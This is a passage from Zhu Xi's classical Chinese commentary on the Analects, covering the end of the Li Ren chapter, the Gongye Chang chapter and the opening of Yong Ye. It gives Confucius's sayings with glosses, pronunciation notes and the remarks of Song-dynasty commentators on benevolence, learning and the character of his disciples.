斯不亂、未能無意也。安仁則一、利仁則二。安仁者非顏閔以上、去聖人為不遠、不知此味也。諸子雖有卓越之才、謂之見道不惑則可、然未免於利之也。\n子曰唯仁者能好人、能惡人。好、惡、皆去聲。唯之為言獨也。蓋無私心、然後好惡當於理、程子所謂得其公正是也。游氏曰好善而惡惡、天下之同情、然人每失其正者、心有所繫而不能自克也。惟仁者無私心、所以能好惡也。\n子曰苟志於仁矣、無惡也。惡、如字。苟、誠也。志者、心之所之也。其心誠在於仁、則必無為惡之事矣。楊氏曰苟志於仁、未必無過舉也、然而為惡則無矣。\n子曰富與貴是人之所欲也、不以其道得之、不處也。貧與賤是人之所惡也、不以其道得之、不去也。惡、去聲。不以其道得之、謂不當得而得之。然於富貴則不處、於貧賤則不去、君子之審富貴而安貧賤也如此。君子去仁、惡乎成名。惡、平聲。言君子所以為君子、以其仁也。若貪富貴而厭貧賤、則是自離其仁、而無君子之實矣、何所成其名乎。君子無終食之間違仁、造次必於是、顛沛必於是。造、七到反。沛、音貝。終食者、一飯之頃。造次、急遽苟且之時。顛沛、傾覆流離之際。蓋君子之不去乎仁如此、不但富貴、貧賤、取舍之間而已也。言君子為仁、自富貴、貧賤、取舍之間、以至於終食、造次、顛沛之頃、無時無處而不用其力也。然取舍之分明、然後存養之功密。存養之功密、則其取舍之分益明矣。\n子曰我未見好仁者、惡不仁者。好仁者、無以尚之。惡不仁者、其為仁矣、不使不仁者加乎其身。好、惡、皆去聲。夫子自言未見好仁者、惡不仁者。蓋好仁者真知仁之可好、故天下之物無以加之。惡不仁者真知不仁之可惡、故其所以為仁者、必能絕去不仁之事、而不使少有及於其身。此皆成德之事、故難得而見之也。有能一日用其力於仁矣乎。我未見力不足者。言好仁惡不仁者、雖不可見、然或有人果能一旦奮然用力於仁、則我又未見其力有不足者。蓋為仁在己、欲之則是、而志之所至、氣必至焉。故仁雖難能、而至之亦易也。蓋有之矣、我未之見也。蓋、疑辭。有之、謂有用力而力不足者。蓋人之氣質不同、故疑亦容或有此昏弱之甚、欲進而不能者、但我偶未之見耳。蓋不敢終以為易、而又歎人之莫肯用力於仁也。此章言仁之成德、雖難其人、然學者苟能實用其力、則亦無不可至之理。但用力而不至者、今亦未見其人焉、此夫子所以反覆而歎惜之也。\n子曰人之過也、各於其黨。觀過、斯知仁矣。黨、類也。程子曰人之過也、各於其類。君子常失於厚、小人常失於薄。君子過於愛、小人過於忍。尹氏曰於此觀之、則人之仁不仁可知矣。吳氏曰後漢吳祐謂『掾以親故受汙辱之名、所謂觀過知仁』是也。愚按此亦但言人雖有過、猶可即此而知其厚薄、非謂必俟其有過、而後賢否可知也。\n子曰朝聞道、夕死可矣。道者、事物當然之理。苟得聞之、則生順死安、無復遺恨矣。朝夕、所以甚言其時之近。程子曰言人不可以不知道、苟得聞道、雖死可也。又曰皆實理也、人知而信者為難。死生亦大矣非誠有所得、豈以夕死為可乎。\n子曰士志於道、而恥惡衣惡食者、未足與議也。心欲求道、而以口體之奉不若人為恥、其識趣之卑陋甚矣、何足與議於道哉。程子曰志於道而心役乎外、何足與議也。\n子曰君子之於天下也、無適也、無莫也、義之與比。適、丁歷反。比、必二反。○適、專主也。春秋傳曰吾誰適從是也。莫、不肯也。比、從也。謝氏曰適、可也。莫、不可也。無可無不可、苟無道以主之、不幾於猖狂自恣乎。此佛老之學、所以自謂心無所住而能應變、而卒得罪於聖人也。聖人之學不然、於無可無不可之間、有義存焉。然則君子之心、果有所倚乎。\n子曰君子懷德、小人懷土。君子懷刑、小人懷惠。懷、思念也。懷德、謂存其固有之善。懷土、謂溺其所處之安。懷刑、謂畏法。懷惠、謂貪利。君子小人趣向不同、公私之間而已。尹氏曰樂善惡不善、所以為君子。苟安務得、所以為小人。\n子曰放於利而行、多怨。放、上聲。孔氏曰放、依也。多怨、謂多取怨。○程子曰欲利於己、必害於人、故多怨。\n子曰能以禮讓為國乎。何有。不能以禮讓為國、如禮何。讓者、禮之實也。何有、言不難也。言有禮之實以為國、則何難之有、不然、則其禮文雖具、亦且無如之何矣、而況於為國乎。\n子曰不患無位、患所以立。不患莫己知、求為可知也。所以立、謂所以立乎其位者。可知〔一〕、謂可以見知之實。程子曰君子求其在己者而已矣。\n〔一〕知原作矣、據清仿宋大字本改。\n子曰參乎吾道一以貫之。曾子曰唯。參、所金反。唯、上聲。參乎者、呼曾子之名而告之。貫、通也。唯者、應之速而無疑者也。聖人之心、渾然一理、而泛應曲當、用各不同。曾子於其用處、蓋已隨事精察而力行之、但未知其體之一爾。夫子知其真積力久、將有所得、是以呼而告之。曾子果能默契其指、即應之速而無疑也。子出。門人問曰何謂也。曾子曰夫子之道、忠恕而已矣。盡己之謂忠、推己之謂恕。而已矣者、竭盡而無餘之辭也。夫子之一理渾然而泛應曲當、譬則天地之至誠無息、而萬物各得其所也。自此之外、固無餘法、而亦無待於推矣。曾子有見於此而難言之、故借學者盡己、推己之目以著明之、欲人之易曉也。蓋至誠無息者、道之體也、萬殊之所以一本也。萬物各得其所者、道之用也、一本之所以萬殊也。以此觀之、一以貫之之實可見矣。或曰中心為忠、如心為恕。於義亦通。程子曰以己及物、仁也。推己及物、恕也、違道不遠是也。忠恕一以貫之忠者天道、恕者人道。忠者無妄、恕者所以行乎忠也。忠者體、恕者用、大本達道也。此與違道不遠異者、動以天爾。又曰『維天之命、於穆不已』、忠也。『\n乾道變化、各正性命』、恕也。又曰聖人教人各因其才、吾道一以貫之、惟曾子為能達此、孔子所以告之也。曾子告門人曰『夫子之道、忠恕而已矣』、亦猶夫子之告曾子也。中庸所謂『忠恕違道不遠』、斯乃下學上達之義。\n子曰君子喻於義、小人喻於利。喻、猶曉也。義者、天理之所宜。利者、人情之所欲。程子曰君子之於義、猶小人之於利也。唯其深喻、是以篤好。楊氏曰君子有舍生而取義者、以利言之、則人之所欲無甚於生、所惡無甚於死、孰肯舍生而取義哉。其所喻者義而已、不知利之為利故也、小人反是。\n子曰見賢思齊焉、見不賢而內自省也。省、悉井反。思齊者、冀己亦有是善。內自省者、恐己亦有是惡。胡氏曰見人之善惡不同、而無不反諸身者、則不徒羡人而甘自棄、不徒責人而忘自責矣。\n子曰事父母幾諫。見志不從、又敬不違、勞而不怨。此章與內則之言相表裏。幾、微也。微諫、所謂父母有過、下氣怡色、柔聲以諫也。見志不從、又敬不違、所謂諫若不入、起敬起孝、悅則復諫也。勞而不怨、所謂與其得罪於鄉、黨、州、閭、寧熟諫。父母怒不悅、而撻之流血、不敢疾怨、起敬起孝也。\n子曰父母在、不遠遊。遊必有方。遠遊、則去親遠而為日久、定省曠而音問疏。不惟己之思親不置、亦恐親之念我不忘也。遊必有方、如己告云之東、即不敢更適西、欲親必知己之所在而無憂、召己則必至而無失也。范氏曰子能以父母之心為心則孝矣。\n子曰三年無改於父之道、可謂孝矣。胡氏曰已見首篇、此蓋複出而逸其半也。\n子曰父母之年、不可不知也。一則以喜、一則以懼。知、猶記憶也。常知父母之年、則既喜其壽、又懼其衰、而於愛日之誠、自有不能已者。\n子曰古者言之不出、恥躬之不逮也。言古者、以見今之不然。逮、及也。行不及言、可恥之甚。古者所以不出其言、為此故也。范氏曰君子之於言也、不得已而後出之、非言之難、而行之難也。人惟其不行也、是以輕言之。言之如其所行、行之如其所言、則出諸其口必不易矣。\n子曰以約失之者鮮矣。鮮、上聲。謝氏曰不侈然以自放之謂約。尹氏曰凡事約則鮮失、非止謂儉約也。\n子曰君子欲訥於言而敏於行。行、去聲。謝氏曰放言易、故欲訥。力行難、故欲敏。胡氏曰自吾道一貫至此十章、疑皆曾子門人所記也。\n子曰德不孤、必有鄰。鄰、猶親也。德不孤立、必以類應。故有德者、必有其類從之、如居之有鄰也。\n子游曰事君數、斯辱矣、朋友數、斯疏矣。數、色角反。程子曰數、煩數也。胡氏曰事君諫不行、則當去。導友善不納、則當止。至於煩瀆、則言者輕、聽者厭矣、是以求榮而反辱、求親而反疏也。范氏曰君臣朋友、皆以義合、故其事同也。\n論語集注卷三\n公冶長第五此篇皆論古今人物賢否得失、蓋格物窮理之一端也。凡二十七章。胡氏以為疑多子貢之徒所記云。\n子謂公冶長、可妻也。雖在縲絏之中、非其罪也。以其子妻之。妻、去聲、下同。縲、力追反。絏、息列反。公冶長、孔子弟子。妻、為之妻也。縲、黑索也。絏、攣也。古者獄中以黑索拘攣罪人。長之為人無所考、而夫子稱其可妻、其必有以取之矣。又言其人雖嘗陷於縲絏之中、而非其罪、則固無害於可妻也。夫有罪無罪、在我而已、豈以自外至者為榮辱哉。子謂南容、邦有道、不廢。邦無道、免於刑戮。以其兄之子妻之。南容、孔子弟子、居南宮。名縚、又名适。字子容、謚敬叔。孟懿子之兄也。不廢、言必見用也。以其謹於言行、故能見用於治朝、免禍於亂世也。事又見第十一篇。或曰公冶長之賢不及南容、故聖人以其子妻長、而以兄子妻容、蓋厚於兄而薄於己也。程子曰此以己之私心窺聖人也。凡人避嫌者、皆內不足也、聖人自至公、何避嫌之有。況嫁女必量其才而求配、尤不當有所避也。若孔子之事、則其年之長幼、時之先後皆不可知、惟以為避嫌則大不可。避嫌之事、賢者且不為、況聖人乎。\n子謂子賤、君子哉若人魯無君子者、斯焉取斯。焉、於虔反。子賤、孔子弟子、姓宓、名不齊。上斯斯此人、下斯斯此德。子賤蓋能尊賢取友以成其德者。故夫子既歎其賢、而又言若魯無君子、則此人何所取以成此德乎。因以見魯之多賢也。蘇氏曰稱人之善、必本其父兄師友、厚之至也。\n子貢問曰賜也何如。子曰女器也。曰何器也。曰瑚璉也。女、音汝。瑚、音胡。璉、力展反。器者、有用之成材。夏曰瑚、商曰璉、周曰簠簋、皆宗廟盛黍稷之器而飾以玉、器之貴重而華美者也。子貢見孔子以君子許子賤、故以己為問、而孔子告之以此。然則子貢雖未至於不器、其亦器之貴者歟。\n或曰雍也仁而不佞。雍、孔子弟子、姓冉、字仲弓。佞、口才也。仲弓為人重厚簡默、而時人以佞為賢、故美其優於德、而病其短於才也。子曰焉用佞。禦人以口給、屢憎於人。不知其仁、焉用佞。焉、於虔反。禦、當也、猶應答也。給、辨也。憎、惡也。言何用佞乎。佞人所以應答人者、但以口取辨而無情實、徒多為人所憎惡爾。我雖未知仲弓之仁、然其不佞乃所以為賢、不足以為病也。再言焉用佞、所以深曉之。或疑仲弓之賢而夫子不許其仁、何也。曰仁道至大、非全體而不息者、不足以當之。如顏子亞聖、猶不能無違於三月之後。況仲弓雖賢、未及顏子、聖人固不得而輕許之也。\n子使漆雕開仕。對曰吾斯之未能信。子說。說、音悅。漆雕開、孔子弟子、字子若。斯、指此理而言。信、謂真知其如此、而無毫髮之疑也。開自言未能如此、未可以治人、故夫子說其篤志。程子曰漆雕開已見大意、故夫子說之。又曰古人見道分明、故其言如此。謝氏曰開之學無可考。然聖人使之仕、必其材可以仕矣。至於心術之微、則一毫不自得、不害其為未信。此聖人所不能知、而開自知之。其材可以仕、而其器不安於小成、他日所就、其可量乎。夫子所以說之也。\n子曰道不行、乘桴浮于海。從我者其由與。子路聞之喜。子曰由也好勇過我、無所取材。桴、音孚。從、好、並去聲。與、平聲。材、與裁同、古字借用。桴、筏也。程子曰浮海之歎、傷天下之無賢君也。子路勇於義、故謂其能從己、皆假設之言耳。子路以為實然、而喜夫子之與己、故夫子美其勇、而譏其不能裁度事理、以適於義也。\n孟武伯問子路仁乎。子曰不知也。子路之於仁、蓋日月至焉者。或在或亡、不能必其有無、故以不知告之。又問。子曰由也、千乘之國、可使治其賦也、不知其仁也。乘、去聲。賦、兵也。古者以田賦出兵、故謂兵為賦、春秋傳所謂悉索敝賦是也。言子路之才、可見者如此、仁則不能知也。求也何如。子曰求也、千室之邑、百乘之家、可使為之宰也、不知其仁也。千室、大邑。百乘、卿大夫之家。宰、邑長家臣之通號。赤也何如。子曰赤也、束帶立於朝、可使與賓客言也、不知其仁也。朝、音潮。赤、孔子弟子、姓公西、字子華。\n子謂子貢曰女與回也孰愈。女、音汝、下同。愈、勝也。對曰賜也何敢望回。回也聞一以知十、賜也聞一以知二。一、數之始。十、數之終。二者、一之對也。顏子明睿所照、即始而見終。子貢推測而知、因此而識彼。無所不悅、告往知來、是其驗矣。子曰弗如也吾與女弗如也。與、許也。胡氏曰子貢方人、夫子既語以不暇、又問其與回孰愈、以觀其自知之如何。聞一知十、上知之資、生知之亞也。聞一知二、中人以上之資、學而知之之才也。子貢平日以己方回、見其不可企及、故喻之如此。夫子以其自知之明、而又不難於自屈、故既然之、又重許之。此其所以終聞性與天道、不特聞一知二而已也。\n宰予晝寢。子曰朽木不可雕也、糞土之牆不可杇也、於予與何誅。朽、許久反。杇、音汙。與、平聲、下同。晝寢、謂當晝而寐。朽、腐也。雕、刻畫也。杇、鏝也。言其志氣昏惰、教無所施也。與、語辭。誅、責也。言不足責、乃所以深責之。子曰始吾於人也、聽其言而信其行。今吾於人也、聽其言而觀其行。於予與改是。行、去聲。宰予能言而行不逮、故孔子自言於予之事而改此失、亦以重警之也。胡氏曰『子曰』疑衍文、不然、則非一日之言也。范氏曰君子之於學、惟日孜孜、斃而後已、惟恐其不及也。宰予晝寢、自棄孰甚焉、故夫子責之。胡氏曰宰予不能以志帥氣、居然而倦。是宴安之氣勝、儆戒之志惰也。古之聖賢未嘗不以懈惰荒寧為懼、勤勵不息自強、此孔子所以深責宰予也。聽言觀行、聖人不待是而後能、亦非緣此而盡疑學者。特因此立教、以警群弟子、使謹於言而敏於行耳。\n子曰吾未見剛者。或對曰申棖。子曰棖也慾、焉得剛。焉、於虔反。剛、堅強不屈之意、最人所難能者、故夫子歎其未見。申棖、弟子姓名。慾、多嗜慾也。多嗜慾、則不得為剛矣。程子曰人有慾則無剛、剛則不屈於慾。謝氏曰剛與慾正相反。能勝物之謂剛、故常伸於萬物之上。為物揜之謂慾、故常屈於萬物之下。自古有志者少、無志者多、宜夫子之未見也。棖之慾不可知、其為人得非悻悻自好者乎。故或者疑以為剛、然不知此其所以為慾爾。\n子貢曰我不欲人之加諸我也、吾亦欲無加諸人。子曰\n賜也、非爾所及也。子貢言我所不欲人加於我之事、我亦不欲以此加之於人。此仁者之事、不待勉強、故夫子以為非子貢所及。程子曰我不欲人之加諸我、吾亦欲無加諸人、仁也。施諸己而不願、亦勿施於人、恕也。恕則子貢或能勉之、仁則非所及矣。愚謂無者自然而然、勿者禁止之謂、此所以為仁恕之別。\n子貢曰夫子之文章、可得而聞也。夫子之言性與天道、不可得而聞也。文章、德之見乎外者、威儀文辭皆是也。性者、人所受之天理。天道者、天理自然之本體、其實一理也。言夫子之文章、日見乎外、固學者所共聞。至於性與天道、則夫子罕言之、而學者有不得聞者。蓋聖門教不躐等、子貢至是始得聞之、而歎其美也。程子曰此子貢聞夫子之至論而歎美之言也。\n子路有聞、未之能行、唯恐有聞。前所聞者既未及行、故恐復有所聞而行之不給也。范氏曰子路聞善、勇於必行、門人自以為弗及也、故著之。若子路、可謂能用其勇矣。\n子貢問曰孔文子何以謂之文也。子曰敏而好學、不恥下問、是以謂之文也。好、去聲。孔文子、衛大夫、名圉。凡人性敏者多不好學、位高者多恥下問。故謚法有以勤學好問為文者、蓋亦人所難也。孔圉得謚為文、以此而已。蘇氏曰孔文子使太叔疾出其妻而妻之。疾通於初妻之娣、文子怒、將攻之。訪於仲尼、仲尼不對、命駕而行。疾奔宋、文子使疾弟遺室孔姞。其為人如此而謚曰文、此子貢之所以疑而問也。孔子不沒其善、言能如此、亦足以為文矣、非經天緯地之文也。\n子謂子產、有君子之道四焉其行己也恭、其事上也敬、其養民也惠、其使民也義。子產、鄭大夫公孫僑。恭、謙遜也。敬、謹恪也。惠、愛利也。使民義、如都鄙有章、上下有服、田有封洫、廬井有伍之類。吳氏曰數其事而責之者、其所善者多也、臧文仲不仁者三、不知者三是也。數其事而稱之者、猶有所未至也、子產有君子之道四焉是也。今或以一言蓋一人、一事蓋一時、皆非也。\n子曰晏平仲善與人交、久而敬之。晏平仲、齊大夫、名嬰。程子曰人交久則敬衰、久而能敬、所以為善。\n子曰臧文仲居蔡、山節藻梲、何如其知也。梲、章悅反。知、去聲。臧文仲、魯大夫臧孫氏、名辰。居、猶藏也。蔡、大龜也。節、柱頭斗栱也。藻、水草名。梲、梁上短柱也。蓋為藏龜之室、而刻山於節、畫藻於梲也。當時以文仲為知、孔子言其不務民義、而諂瀆鬼神如此、安得為知。春秋傳所謂作虛器、即此事也。張子曰山節藻梲為藏龜之室、祀爰居之義、同歸於不知宜矣。\n子張問曰令尹子文三仕為令尹、無喜色。三已之、無慍色。舊令尹之政、必以告新令尹。何如。子曰忠矣。曰仁矣乎。曰未知、焉得仁。知、如字。焉、於虔反。令尹、官名、楚上卿執政者也。子文、姓鬥、名穀於菟。其為人也、喜怒不形、物我無閒、知有其國而不知有其身、其忠盛矣、故子張疑其仁。然其所以三仕三已而告新令尹者、未知其皆出於天理而無人欲之私也、是以夫子但許其忠、而未許其仁也。崔子弒齊君、陳文子有馬十乘、棄而違之。至於他邦、則曰『猶吾大夫崔子也。』違之。之一邦、則又曰『猶吾大夫崔子也。』違之。何如。子曰清矣。曰仁矣乎。曰未知。焉得仁。乘、去聲。崔子、齊大夫、名杼。齊君、莊公、名光。陳文子、亦齊大夫、名須無。十乘、四十匹也。違、去也。文子潔身去亂、可謂清矣、然未知其心果見義理之當然、而能脫然無所累乎。抑不得已於利害之私、而猶未免於怨悔也。故夫子特許其清、而不許其仁。愚聞之師曰當理而無私心、則仁矣。今以是而觀二子之事、雖其制行之高若不可及、然皆未有以見其必當於理、而真無私心也。子張未識仁體、而悅於苟難、遂以小者信其大者、夫子之不許也宜哉。讀者於此、更以上章不知其仁、後篇仁則吾不知之語并與三仁夷齊之事觀之、則彼此交盡、而仁之為義可識矣。今以他書考之、子文之相楚、所謀者無非僭王猾夏之事。文子之仕齊、既失正君討賊之義、又不數歲而復反於齊焉、則其不仁亦可見矣。\n季文子三思而後行。子聞之、曰再、斯可矣。三、去聲。季文子、魯大夫、名行父。每事必三思而後行、若使晉而求遭喪之禮以行、亦其一事也。斯、語辭。程子曰為惡之人、未嘗知有思、有思則為善矣。然至於再則已審、三則私意起而反惑矣、故夫子譏之。愚按季文子慮事如此、可謂詳審、而宜無過舉矣。而宣公篡立、文子乃不能討、反為之使齊而納賂焉、豈非程子所謂私意起而反惑之驗歟。是以君子務窮理而貴果斷、不徒多思之為尚。\n子曰甯武子邦有道則知、邦無道則愚。其知可及也、其愚不可及也。知、去聲。○甯武子、衛大夫、名俞。按春秋傳、武子仕衛、當文公、成公之時。文公有道、而武子無事可見、此其知之可及也。成公無道、至於失國、而武子周旋其閒、盡心竭力、不避艱險。凡其所處、皆智巧之士所深避而不肯為者、而能卒保其身以濟其君、此其愚之不可及也。程子曰邦無道能沈晦以免患、故曰不可及也。亦有不當愚者、比干是也。\n子在陳曰歸與歸與吾黨之小子狂簡、斐然成章、不知所以裁之。與、平聲。斐、音匪。此孔子周流四方、道不行而思歸之歎也。吾黨小子、指門人之在魯者。狂簡、志大而略於事也。斐、文貌。成章、言其文理成就、有可觀者。裁、割正也。夫子初心、欲行其道於天下、至是而知其終不用也。於是始欲成就後學、以傳道於來世。又不得中行之士而思其次、以為狂士志意高遠、猶或可與進於道也。但恐其過中失正、而或陷於異端耳、故欲歸而裁之也。\n子曰伯夷、叔齊不念舊惡、怨是用希。伯夷、叔齊、孤竹君之二子。孟子稱其不立於惡人之朝、不與惡人言。與鄉人立、其冠不正、望望然去之、若將浼焉。其介如此、宜若無所容矣、然其所惡之人、能改即止、故人亦不甚怨之也。○程子曰不念舊惡、此清者之量。又曰二子之心、非夫子孰能知之。\n子曰孰謂微生高直。或乞醯焉、乞諸其鄰而與之。醯、呼西反。微生姓、高名、魯人、素有直名者。醯、醋也。人來乞時、其家無有、故乞諸鄰家以與之。夫子言此、譏其曲意殉物、掠美市恩、不得為直也。程子曰微生高所枉雖小、害直為大。范氏曰是曰是、非曰非、有謂有、無謂無、曰直。聖人觀人於其一介之取予、而千駟萬鍾從可知焉。故以微事斷之、所以教人不可不謹也。\n子曰巧言、令色、足恭、左丘明恥之、丘亦恥之。匿怨而友其人、左丘明恥之、丘亦恥之。足、將樹反。足、過也。程子曰左丘明、古之聞人也。謝氏曰二者之可恥、有甚於穿窬也。左丘明恥之、其所養可知矣。夫子自言『丘亦恥之』、蓋竊比老、彭之意。又以深戒學者、使察乎此而立心以直也。\n顏淵、季路侍。子曰盍各言爾志。盍、音合。盍、何不也。子路曰願車馬、衣輕裘、與朋友共。敝之而無憾。衣、去聲。衣、服之也。裘、皮服。敝、壞也。憾、恨也。顏淵曰願無伐善、無施勞。伐、誇也。善、謂有能。施、亦張大之意。勞、謂有功、易曰勞而不伐是也。或曰勞、勞事也。勞事非己所欲、故亦不欲施之於人。亦通。子路曰願聞子之志。子曰老者安之、朋友信之、少者懷之。老者養之以安、朋友與之以信、少者懷之以恩。一說安之、安我也。信之、信我也。懷之、懷我也。亦通。程子曰夫子安仁、顏淵不違仁、子路求仁。又曰子路、顏淵、孔子之志、皆與物共者也、但有小大之差爾。又曰子路勇於義者、觀其志、豈可以勢利拘之哉。亞於浴沂者也。顏子不自私己、故無伐善。知同於人、故無施勞。其志可謂大矣、然未免出於有意也。至於夫子、則如天地之化工、付與萬物而己不勞焉、此聖人之所為也。今夫羈靮以御馬而不以制牛、人皆知羈靮之作在乎人、而不知羈靮之生由於馬、聖人之化、亦猶是也。先觀二子之言、後觀聖人之言、分明天地氣象。凡看論語、非但欲理會文字、須要識得聖賢氣象。\n子曰已矣乎吾未見能見其過而內自訟者也。已矣乎者、恐其終不得見而歎之也。內自訟者。口不言而心自咎也。人有過而能自知者鮮矣、知過而能內自訟者為尤鮮。能內自訟、則其悔悟深切而能改必矣。夫子自恐終不得見而歎之、其警學者深矣。\n子曰十室之邑、必有忠信如丘者焉、不如丘之好學也。焉、如字、屬上句。好、去聲。十室、小邑也。忠信如聖人、生質之美者也。夫子生知而未嘗不好學、故言此以勉人。言美質易得、至道難聞、學之至則可以為聖人、不學則不免為鄉人而已。可不勉哉。\n雍也第六凡二十八章。篇內第十四章以前、大意與前篇同。\n子曰雍也可使南面。南面者、人君聽治之位。言仲弓寬洪簡重、有人君之度也。仲弓問子桑伯子、子曰可也簡。子桑伯子、魯人、胡氏以為疑即莊周所稱子桑戶者是也。仲弓以夫子許己南面、故問伯子如何。可者、僅可而有所未盡之辭。簡者、不煩之謂。〔一〕仲弓曰居敬而行簡、以臨其民、不亦可乎。居簡而行簡、無乃大簡乎。大、音泰。言自處以敬、則中有主而自治嚴、如是而行簡以臨民、則事不煩而民不擾、所以為可。若先自處以簡、則中無主而自治疏矣、而所行又簡、豈不失之太簡、而無法度之可守乎。家語記伯子不衣冠而處、夫子譏其欲同人道於牛馬。然則伯子蓋太簡者、而仲弓疑夫子之過許與。子曰雍之言然。仲弓蓋未喻夫子可字之意、而其所言之理、有默契焉者、故夫子然之。程子曰子桑伯子之簡、雖可取而未盡善、故夫子云可也。仲弓因言內主於敬而簡、則為要直。內存乎簡而簡、則為疏略、可謂得其旨矣。又曰居敬則心中無物、故所行自簡。居簡則先有心於簡、而多一簡字矣、故曰太簡。\n〔一〕謂字、據文義及各本補。\n哀公問弟子孰為好學。孔子對曰有顏回者好學、不遷怒、不貳過。不幸短命死矣今也則亡、未聞好學者也。好、去聲。亡、與無同。遷、移也。貳、復也。怒於甲者、不移於乙。過於前者、不復於後。顏子克己之功至於如此、可謂真好學矣。短命者、顏子三十二而卒也。既云今也則亡、又言未聞好學者、蓋深惜之、又以見真好學者之難得也。程子曰顏子之怒、在物不在己、故不遷。有不善未嘗不知、知之未嘗復行、不貳過也。又曰喜怒在事、則理之當喜怒者也、不在血氣則不遷。若舜之誅四凶也、可怒在彼、己何與焉。如鑑之照物、妍媸在彼、隨物應之而已、何遷之有。又曰如顏子地位、豈有不善。所謂不善、只是微有差失。纔差失便能知之、纔知之便更不萌作。張子曰慊於己者、不使萌於再。或曰詩書六藝、七十子非不習而通也、而夫子獨稱顏子為好學。顏子之所好、果何學歟。程子曰學以至乎聖人之道也。\n學之道奈何。曰天地儲精、得五行之秀者為人。其本也真而靜。其未發也五性具焉、曰仁、義、禮、智、信。形既生矣、外物觸其形而動於中矣。其中動而七情出焉、曰喜、怒、哀、懼、愛、惡、欲。情既熾而益蕩、其性鑿矣。故學者約其情使合於中、正其心、養其性而已。然必先明諸心、知所往、然後力行以求至焉。若顏子之非禮勿視、聽、言、動、不遷怒貳過者、則其好之篤而學之得其道也。然其未至於聖人者、守之也、非化之也。假之以年、則不日而化矣。今人乃謂聖本生知、非學可至、而所以為學者、不過記誦文辭之間、其亦異乎顏子之學矣。\n子華使於齊、冉子為其母請粟。子曰與之釜。請益。曰與之庾。冉子與之粟五秉。使、為、並去聲。子華、公西赤也。使、為孔子使也。釜、六斗四升。庾、十六斗。秉、十六斛。子曰赤之適齊也、乘肥馬、衣輕裘。吾聞之也、君子周急不繼富。衣、去聲。乘肥馬、衣輕裘、言其富也。急、窮迫也。周者、補不足。繼者、續有餘。原思為之宰、與之粟九百、辭。原思、孔子弟子、名憲。孔子為魯司寇時、以思為宰。粟、宰之祿也。九百不言其量、不可考。子曰毋以與爾鄰里鄉黨乎毋、禁止辭。五家為鄰、二十五家為里、萬二千五百家為鄉、五百家為黨。言常祿不當辭、有餘自可推之以周貧乏、蓋鄰、里、鄉、黨有相周之義。程子曰夫子之使子華、子華之為夫子使、義也。而冉子乃為之請、聖人寬容、不欲直拒人。故與之少、所以示不當與也。請益而與之亦少、所以示不當益也。求未達而自與之多、則己過矣、故夫子非之。蓋赤苟至乏、則夫子必自周之、不待請矣。原思為宰、則有常祿。思辭其多、故又教以分諸鄰里之貧者、蓋亦莫非義也。張子曰於斯二者、可見聖人之用財矣。\n子謂仲弓曰犁牛之子騂且角、雖欲勿用、山川其舍諸。犁、利之反。騂、息營反。舍、上聲。犁、雜文。騂、赤色。周人尚赤、牲用騂。角、角周正、中犧牲也。用、用以祭也。山川、山川之神也。言人雖不用、神必不舍也。仲弓父賤而行惡、故夫子以此譬之。言父之惡、不能廢其子之善、如仲弓之賢、自當見用於世也。然此論仲弓云爾、非與仲弓言也。范氏曰以瞽瞍為父而有舜、以鯀為父而有禹。古之聖賢、不係於世類、尚矣。子能改父之過、變惡以為美、則可謂孝矣。\n子曰回也、其心三月不違仁、其餘則日月至焉而已矣。三月、言其久。仁者、心之德。心不違仁者、無私欲而有其德也。日月至焉者、或日一至焉、或月一至焉、能造其域而不能久也。程子曰三月、天道小變之節、言其久也、過此則聖人矣。不違仁、只是無纖毫私欲。少有私欲、便是不仁。尹氏曰此顏子於聖人、未達一閒者也、若聖人則渾然無閒斷矣。張子曰始學之要、當知『\n三月不違』與『日月至焉』內外賓主之辨。使心意勉勉循循而不能已、過此幾非在我者。\n季康子問仲由可使從政也與。子曰由也果、於從政乎何有。曰賜也、可使從政也與。曰賜也達、於從政乎何有。曰求也、可使從政也與。曰求也藝、於從政乎何有。與、平聲。從政、謂為大夫。果、有決斷。達、通事理。藝、多才能。程子曰季康子問三子之才可以從政乎。夫子答以各有所長。非惟三子、人各有所長。能取其長、皆可用也。\n季氏使閔子騫為費宰。閔子騫曰善為我辭焉。如有復我者、則吾必在汶上矣。費、音秘。為、去聲。汶、音問。閔子騫、孔子弟子、名損。費、季氏邑。汶、水名、在齊南魯北竟上。閔子不欲臣季氏、令使者善為己辭。言若再來召我、則當去之齊。程子曰仲尼之門、能不仕大夫之家者、閔子、曾子數人而已。謝氏曰學者能少知內外之分、皆可以樂道而忘人之勢。況閔子得聖人為之依歸、彼其視季氏不義之富貴、不啻犬彘。又從而臣之、豈其心哉。在聖人則有不然者、蓋居亂邦、見惡人、在聖人則可。自聖人以下、剛則必取禍、柔則必取辱。閔子豈不能早見而豫待之乎。如由也不得其死、求也為季氏附益、夫豈其本心哉。蓋既無先見之知、又無克亂之才故也。然則閔子其賢乎。\n伯牛有疾、子問之、自牖執其手、曰亡之、命矣夫斯人也而有斯疾也斯人也而有斯疾也夫、音扶。伯牛、孔子弟子、姓冉、名耕。有疾、先儒以為癩也。牖、南牖也。禮病者居北牖下。君視之、則遷於南牖下、使君得以南面視己。時伯牛家以此禮尊孔子、孔子不敢當、故不入其室、而自牖執其手、蓋與之永訣也。命、謂天命。言此人不應有此疾、而今乃有之、是乃天之所命也。然則非其不能謹疾而有以致之、亦可見矣。侯氏曰伯牛以德行稱、亞於顏、閔。故其將死也、孔子尤痛惜之。\n子曰賢哉、回也一簞食、一瓢飲、在陋巷。人不堪其憂、回也不改其樂。賢哉、回也食、音嗣。樂、音洛。簞、竹器。食、飯也。瓢、瓠也。顏子之貧如此、而處之泰然、不以害其樂、故夫子再言賢哉回也以深歎美之。程子曰顏子之樂、非樂簞瓢陋巷也、不以貧窶累其心而改其所樂也、故夫子稱其賢。又曰簞瓢陋巷非可樂、蓋自有其樂爾。其字當玩味、自有深意。又曰昔受學於周茂叔、每令尋仲尼顏子樂處、所樂何事。愚按程子之言、引而不發、蓋欲學者深思而自得之。今亦不敢妄為之說。學者但當從事於博文約禮之誨、以至於欲罷不能而竭其才、則庶乎有以得之矣。\n冉求曰非不說子之道、力不足也。子曰力不足者、中道而廢。今女畫。說、音悅。女、音汝。力不足者、欲進而不能。畫者、能進而不欲。謂之畫者、如畫地以自限也。胡氏曰夫子稱顏回不改其樂、冉求聞之、故有是言。然使求說夫子之道、誠如口之說芻豢、則必將盡力以求之、何患力之不足哉。畫而不進、則日退而已矣、此冉求之所以局於藝也。\n子謂子夏曰女為君子儒、無為小人儒。儒、學者之稱。程子曰君子儒為己、小人儒為人。○謝氏曰君子小人之分、義與利之閒而已。然所謂利者、豈必殖貨財之謂。以私滅公、適己自便、凡可以害天理者皆利也。子夏文